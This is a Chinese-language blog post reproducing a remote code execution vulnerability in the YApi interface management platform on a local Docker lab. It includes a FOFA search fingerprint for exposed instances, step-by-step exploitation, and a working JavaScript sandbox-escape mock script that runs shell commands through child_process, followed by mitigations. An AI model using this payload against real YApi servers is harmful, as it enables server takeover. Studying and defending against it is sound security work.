YAPI开源接口管理平台远程代码执行漏洞复现
前言
该漏洞环境为本地搭建,本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!
漏洞详情
YAPI接口管理平台是国内某旅行网站的开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
该漏洞存在于YAPI的mock脚本服务上,是由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意javascript代码,最终导致接管并控制服务器。
Github地址:https://github.com/jinfeijie/yapi
影响版本
YAPI全版本
FOFA
app="YApi"
漏洞复现
环境搭建
Docker搭建:https://github.com/jinfeijie/yapi
git clone https://github.com/jinfeijie/yapi.git
编辑docker-compose.yml文件,把监听设置127.0.0.1:3000:3000修改为0.0.0.0:3000:3000(这样搭建完成以后可以通过网络进行外部访问)
version: '2.1'
services:
yapi:
image: mrjin/yapi:latest
# build: ./
container_name: yapi
environment:
- VERSION=1.5.6
- LOG_PATH=/tmp/yapi.log
- HOME=/home
- PORT=3000
- ADMIN_EMAIL=me@jinfeijie.cn
- DB_SERVER=mongo
- DB_NAME=yapi
- DB_PORT=27017
# restart: always
ports:
- 127.0.0.1:3000:3000
volumes:
- ~/data/yapi/log/yapi.log:/home/vendors/log # log dir
depends_on:
- mongo
entrypoint: "bash /wait-for-it.sh mongo:27017 -- entrypoint.sh"
networks:
- back-net
mongo:
image: mongo
container_name: mongo
# restart: always
ports:
- 127.0.0.1:27017:27017
volumes:
- ~/data/yapi/mongodb:/data/db #db dir
networks:
- back-net
networks:
back-net:
external: true
漏洞利用
注意:漏洞利用前提是需要开启注册功能 (YApi默认是开启注册功能)
登录页面如下:
先随意注册一个账号test;
在右上角点击新建项目:
项目名称和路径如下图所示:
设置全局mock脚本及接口,在设置里面找到全局mock脚本,勾上是否开启。mock脚本内容如下
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ls -al").toString()
随后添加接口:
访问接口的mock地址:
http://192.168.1.7:3000/mock/17/test/test
服务器可看到响应如下,远程服务器接受到请求
防御措施
先把服务器全盘重装了,数据库一定要提前备份:
1、更改Yapi运行端口
2、使用Nginx对Yapi进行反向代理
3、安全组只开放Nginx端口,你可以在Nginx限制IP白名单。
4、关闭Yapi注册
5、关闭Yapi Mock
参考文献
https://github.com/YMFE/yapi/issues/2233
https://github.com/YMFE/yapi/issues/2099